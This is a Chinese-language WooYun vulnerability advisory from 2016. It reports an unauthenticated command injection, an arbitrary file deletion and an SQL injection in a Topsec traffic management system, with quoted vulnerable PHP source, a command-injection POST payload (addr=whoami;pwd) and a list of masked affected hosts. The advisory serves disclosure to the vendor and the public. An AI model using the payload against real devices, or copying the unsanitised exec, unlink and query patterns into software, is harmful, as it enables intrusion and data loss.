当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0176856

漏洞标题:天融信流量管理系统存在命令执行&SQL注入(无需登录)

相关厂商:天融信

漏洞作者: 路人甲

提交时间:2016-02-19 10:06

修复时间:2016-05-19 11:30

公开时间:2016-05-19 11:30

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-19: 细节已通知厂商并且等待厂商处理中
2016-02-19: 厂商已经确认,细节仅向厂商公开
2016-02-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-14: 细节向核心白帽子及相关领域专家公开
2016-04-24: 细节向普通白帽子公开
2016-05-04: 细节向实习白帽子公开
2016-05-19: 细节向公众公开

简要描述:

我也来凑个热闹
天融信流量管理系统多个高危漏洞打包(无需登录),包括多个任意命令执行、任意文件删除漏洞

详细说明:

天融信异常流量管理与抗拒绝服务系统
存在漏洞的文件为:

命令执行
/modules/system/diagnose.mds.php
/modules/ads/ads_report_upload.mds.php(重复)
文件删除
/modules/ads/ads_capture_tcpdump.mds.php(重复)
注入漏洞
/modules/page/log_data.mds.php


部份源代码为:
/modules/ads/ads_capture_tcpdump.php

if($post_submit_action == "adscapture_tcpdump_delete_pcap"){
$pcap_name = $_POST["pcap_name"];
$file = "/SE/ads_tcpdump/".$pcap_name;
unlink($file);
return;
}


post参数pcap_name进入了unlink函数,直接的任意文件删除漏洞
命令执行 /modules/system/diagnose.mds.php

if($action=='diagnose_begin'){	
$to_ping = formatpost($_POST['addr']);
$operation=formatpost($_POST['operation']);
if($_POST['type']==1){
$ping_count = 5;
unlink("/tmp/ping_" . $_SESSION['auth_id'] . ".txt");
if($operation == 4){
$command = "ping -W 1 -c " . $ping_count . " " . $to_ping . " &>/tmp/ping_" . $_SESSION['auth_id'] . ".txt &";
}
else if($operation == 6){
$command = "ping6 -W 1 -c " . $ping_count . " " . $to_ping . " &>/tmp/ping_" . $_SESSION['auth_id'] . ".txt &";
}
exec ( $command );
echo json_encode(array('success'=>true,'result_string'=>file_get_contents("/tmp/ping_" . $_SESSION['auth_id'] . ".txt")));
exit;
}
}


这个不多说更简单明了的命令执行漏洞
sql注入 /modules/page/log_data.mds.php

if($action == 'login_log'){
$page = $_REQUEST['page'] ? $_REQUEST['page'] : 1;
$pagesize = $_REQUEST['group'] ? $_REQUEST['group'] : 20;
$page = ($page - 1) < 0 ? 0 : ($page - 1) * $pagesize;
$sql = "select user,src,login_method,msg,time from " . $log_table . " where vsid = ". $vsysid ." and recorder = 'mgmt' order by time desc limit $page , $pagesize";
$arr = $db_log->select($sql);
$logs = array();
foreach ($arr as $key => $val) {
$logs[$key]['user'] = $val['user'];
$logs[$key]['time'] = $val['time'];
$logs[$key]['login_method'] = $val['login_method'];
$logs[$key]['src'] = $val['src'];
$logs[$key]['msg'] = $val['msg'];
}
$tmparr['group'] = $logs;
$sql2 = "select msg as count from " . $log_table . " where vsid = ". $vsysid ." and recorder = 'mgmt'";
$count = $db_log->get_num_rows($sql2);
$tmparr['page'] = array('total' => $count);
echo json_encode($tmparr);
return;
}


request参数group直接进入了sql查询,造成了sql注入

漏洞证明:

由于这几个漏洞均非常简单,选取命令执行来作漏洞证明
可直接访问:

/?module=system_diagnose&action=diagnose_begin
POST提交:operation=4&addr=whoami;pwd


0x1 **.**.**.**/

1.png


0x2 **.**.**.**/

2.png


0x3 **.**.**.**/

3.png


其他的案例:

**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-02-19 11:20

厂商回复:

已确认,谢谢提交。

最新状态:

暂无